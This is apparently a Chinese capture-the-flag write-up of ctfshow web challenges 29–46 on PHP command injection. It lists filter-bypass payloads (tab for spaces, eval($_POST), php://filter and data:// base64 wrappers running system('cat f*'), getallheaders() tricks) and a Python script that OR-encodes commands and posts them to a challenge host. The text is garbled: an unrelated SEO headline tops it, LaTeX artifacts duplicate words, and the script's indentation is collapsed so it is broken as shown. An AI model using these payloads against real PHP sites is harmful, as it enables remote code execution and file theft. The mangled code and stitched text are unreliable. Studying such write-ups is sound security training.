河北網(wǎng)站制作公司seo推廣方法
大佬文章
L i n u x \rm Linux Linux 下空格繞過
web29
-
通配符:
*
:匹配任意多個(gè)字符?
:匹配任意一個(gè)字符[]
:匹配某個(gè)范圍的字符( [ a d ] [ad] [ad] 表示 a ? d a-d a?d 的字符){a,b}
:匹配 a a a 或者 b b b
web30
- echo `cat flag`:表示先運(yùn)行 cat flag,然后再把結(jié)果輸出
web31
-
%09(tab)
繞過空格 -
命令拼接:
c=eval($_POST[a]);
,然后POST
傳入一個(gè)變量a
即可 -
無參數(shù) r c e \rm rce rce
web32
-
過濾分號(hào),用
?>
代替 -
過濾括號(hào),使用
include
函數(shù),其不需要括號(hào)傳參(例如 include a.php)
因此 ?c=include%09$_POST[a]?>
,之后 post
傳入一個(gè)文件即可
文件會(huì)被注釋掉(顯示不出來),所以考慮偽協(xié)議讀文件
a=php://filter/read=convert.base64-encode/resource=flag.php
web37
- 使用
php://input
協(xié)議,之后post
傳入需要的php
代碼即可
web38
-
data
偽協(xié)議讀文件c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
( b a s e 64 \rm base64 base64 是system("cat flag");
)
web39
- 同web38
web40
-
無參數(shù)命令執(zhí)行
getallheaders()
將http
頭中的信息放到一個(gè)數(shù)組里面修改
http
頭中的某些不重要的內(nèi)容為system("cat flag")
,使用語句eval(array_rand(array_flip(getallheaders())));
,多刷新幾次即可做到無參數(shù)命令執(zhí)行
web41
-
無數(shù)字字母 r c e \rm rce rce
一般實(shí)現(xiàn)方法是自增,取反,異或,或
這題用的是或運(yùn)算
# coding=gbk import re import requests use = [] def get_and(aim, use):ans1 = ""ans2 = ""for i in range(len(aim)):ok = Falsefor j in range(len(use)):for k in range(j,len(use)):if (ord(use[j]) | ord(use[k])) == ord(aim[i]):ans1 = ans1 + use[j]ans2 = ans2 + use[k]ok = Trueif ok: breakif ok: break ans = ""for i in range(len(ans1)): ans += chr(ord(ans1[i]) | ord(ans2[i])) print(ans)return "(\""+ans1+"\"|\""+ans2+"\")"if __name__ == '__main__':match_str = "/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-"url = "http://e5280b73-c2cb-4f3f-9309-68319256efdf.challenge.ctf.show/"for i in range(256):c = chr(i)tmp = re.match(match_str, c, re.I)if tmp == None:use.append(c)func = "system"argu = "cat flag.php"data = {"c":get_and(func,use)+get_and(argu,use)}print(data)r = requests.post(url = url, data = data)print(r.text)
web42
system($c." >/dev/null 2>&1");
黑洞代碼
-
cat flag && ls
:只會(huì)讓后面的查詢沒有 -
ls #
:#
是shell
腳本的注釋
web46
flag
被過濾,可以換成f''lag
未完待續(xù)